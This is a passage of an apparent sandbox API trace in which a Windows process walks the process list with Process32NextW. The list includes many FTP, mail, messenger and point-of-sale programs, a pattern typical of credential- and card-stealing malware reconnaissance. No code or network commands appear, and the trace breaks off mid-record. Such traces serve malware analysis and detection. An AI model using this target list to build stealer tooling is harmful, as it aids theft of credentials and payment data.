lstrlenW (lpString="sihost.exe") returned 10 [0096.609] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0096.609] lstrlenW (lpString="svchost.exe") returned 11 [0096.609] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0096.610] lstrlenW (lpString="taskhostw.exe") returned 13 [0096.610] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0096.924] lstrlenW (lpString="explorer.exe") returned 12 [0096.924] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0096.925] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0096.925] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0096.925] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0096.925] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0096.926] lstrlenW (lpString="Memory Compression") returned 18 [0096.926] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0096.926] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0096.926] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0096.927] lstrlenW (lpString="SearchUI.exe") returned 12 [0096.927] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0096.928] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0096.928] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0096.928] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0096.928] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending.exe")) returned 1 [0096.929] lstrlenW (lpString="pending.exe") returned 11 [0096.929] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bug workers.exe")) returned 1 [0096.929] lstrlenW (lpString="bug workers.exe") returned 15 [0096.930] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="succeed.exe")) returned 1 [0096.930] lstrlenW (lpString="succeed.exe") returned 11 [0096.930] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="springs antonio washer.exe")) returned 1 [0096.931] lstrlenW (lpString="springs antonio washer.exe") returned 26 [0096.931] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bookings.exe")) returned 1 [0096.931] lstrlenW (lpString="bookings.exe") returned 12 [0096.931] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="tramadol for.exe")) returned 1 [0096.932] lstrlenW (lpString="tramadol for.exe") returned 16 [0096.932] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="freezenegotiationsg.exe")) returned 1 [0096.932] lstrlenW (lpString="freezenegotiationsg.exe") returned 23 [0096.932] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="starter detection.exe")) returned 1 [0096.933] lstrlenW (lpString="starter detection.exe") returned 21 [0096.933] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="unified aus.exe")) returned 1 [0096.934] lstrlenW (lpString="unified aus.exe") returned 15 [0096.934] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="taiwan registration.exe")) returned 1 [0096.934] lstrlenW (lpString="taiwan registration.exe") returned 23 [0096.934] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="idolcollectibles.exe")) returned 1 [0096.935] lstrlenW (lpString="idolcollectibles.exe") returned 20 [0096.935] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="headlines.exe")) returned 1 [0096.936] lstrlenW (lpString="headlines.exe") returned 13 [0096.936] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ash-method.exe")) returned 1 [0096.936] lstrlenW (lpString="ash-method.exe") returned 14 [0096.936] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="jane_conscious_information.exe")) returned 1 [0096.937] lstrlenW (lpString="jane_conscious_information.exe") returned 30 [0096.937] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="programmes officially.exe")) returned 1 [0096.938] lstrlenW (lpString="programmes officially.exe") returned 25 [0096.938] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gerald_cdna_charleston.exe")) returned 1 [0096.938] lstrlenW (lpString="gerald_cdna_charleston.exe") returned 26 [0096.938] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="george-depending.exe")) returned 1 [0096.939] lstrlenW (lpString="george-depending.exe") returned 20 [0096.939] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="examinationrecipes.exe")) returned 1 [0096.939] lstrlenW (lpString="examinationrecipes.exe") returned 22 [0096.940] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="repeat go.exe")) returned 1 [0096.940] lstrlenW (lpString="repeat go.exe") returned 13 [0096.940] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="showcase.exe")) returned 1 [0096.941] lstrlenW (lpString="showcase.exe") returned 12 [0096.941] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0096.942] lstrlenW (lpString="3dftp.exe") returned 9 [0096.942] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0096.943] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0096.943] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0096.944] lstrlenW (lpString="alftp.exe") returned 9 [0096.944] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0096.945] lstrlenW (lpString="barca.exe") returned 9 [0096.946] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0096.947] lstrlenW (lpString="bitkinex.exe") returned 12 [0096.947] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0096.948] lstrlenW (lpString="coreftp.exe") returned 11 [0096.948] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0096.949] lstrlenW (lpString="far.exe") returned 7 [0096.949] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0096.950] lstrlenW (lpString="filezilla.exe") returned 13 [0096.950] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0096.951] lstrlenW (lpString="flashfxp.exe") returned 12 [0096.951] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0096.952] lstrlenW (lpString="fling.exe") returned 9 [0096.952] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0096.953] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0096.953] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0096.954] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0096.954] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0096.955] lstrlenW (lpString="icq.exe") returned 7 [0096.955] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0096.956] lstrlenW (lpString="leechftp.exe") returned 12 [0096.956] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0096.957] lstrlenW (lpString="ncftp.exe") returned 9 [0096.957] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0096.958] lstrlenW (lpString="notepad.exe") returned 11 [0096.958] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0096.959] lstrlenW (lpString="operamail.exe") returned 13 [0096.959] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0096.960] lstrlenW (lpString="pidgin.exe") returned 10 [0096.960] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0096.961] lstrlenW (lpString="scriptftp.exe") returned 13 [0096.961] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0096.962] lstrlenW (lpString="skype.exe") returned 9 [0096.962] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0096.963] lstrlenW (lpString="smartftp.exe") returned 12 [0096.963] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0096.965] lstrlenW (lpString="thunderbird.exe") returned 15 [0096.965] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0096.966] lstrlenW (lpString="totalcmd.exe") returned 12 [0096.966] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0096.967] lstrlenW (lpString="trillian.exe") returned 12 [0096.967] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0096.968] lstrlenW (lpString="webdrive.exe") returned 12 [0096.968] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0096.969] lstrlenW (lpString="whatsapp.exe") returned 12 [0096.969] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0097.259] lstrlenW (lpString="winscp.exe") returned 10 [0097.259] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0097.260] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0097.260] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0097.261] lstrlenW (lpString="active-charge.exe") returned 17 [0097.261] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0097.262] lstrlenW (lpString="accupos.exe") returned 11 [0097.262] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0097.264] lstrlenW (lpString="afr38.exe") returned 9 [0097.264] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0097.265] lstrlenW (lpString="aldelo.exe") returned 10 [0097.265] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0097.266] lstrlenW (lpString="ccv_server.exe") returned 14 [0097.266] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0097.267] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0097.267] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0097.269] lstrlenW (lpString="creditservice.exe") returned 17 [0097.269] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0097.270] lstrlenW (lpString="edcsvr.exe") returned 10 [0097.270] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0097.271] lstrlenW (lpString="fpos.exe") returned 8 [0097.271] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0097.272] lstrlenW (lpString="isspos.exe") returned 10 [0097.272] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0097.273] lstrlenW (lpString="mxslipstream.exe") returned 16 [0097.273] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0097.274] lstrlenW (lpString="omnipos.exe") returned 11 [0097.274] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1024, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0097.275] lstrlenW (lpString="spcwin.exe") returned 10 [0097.275] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, 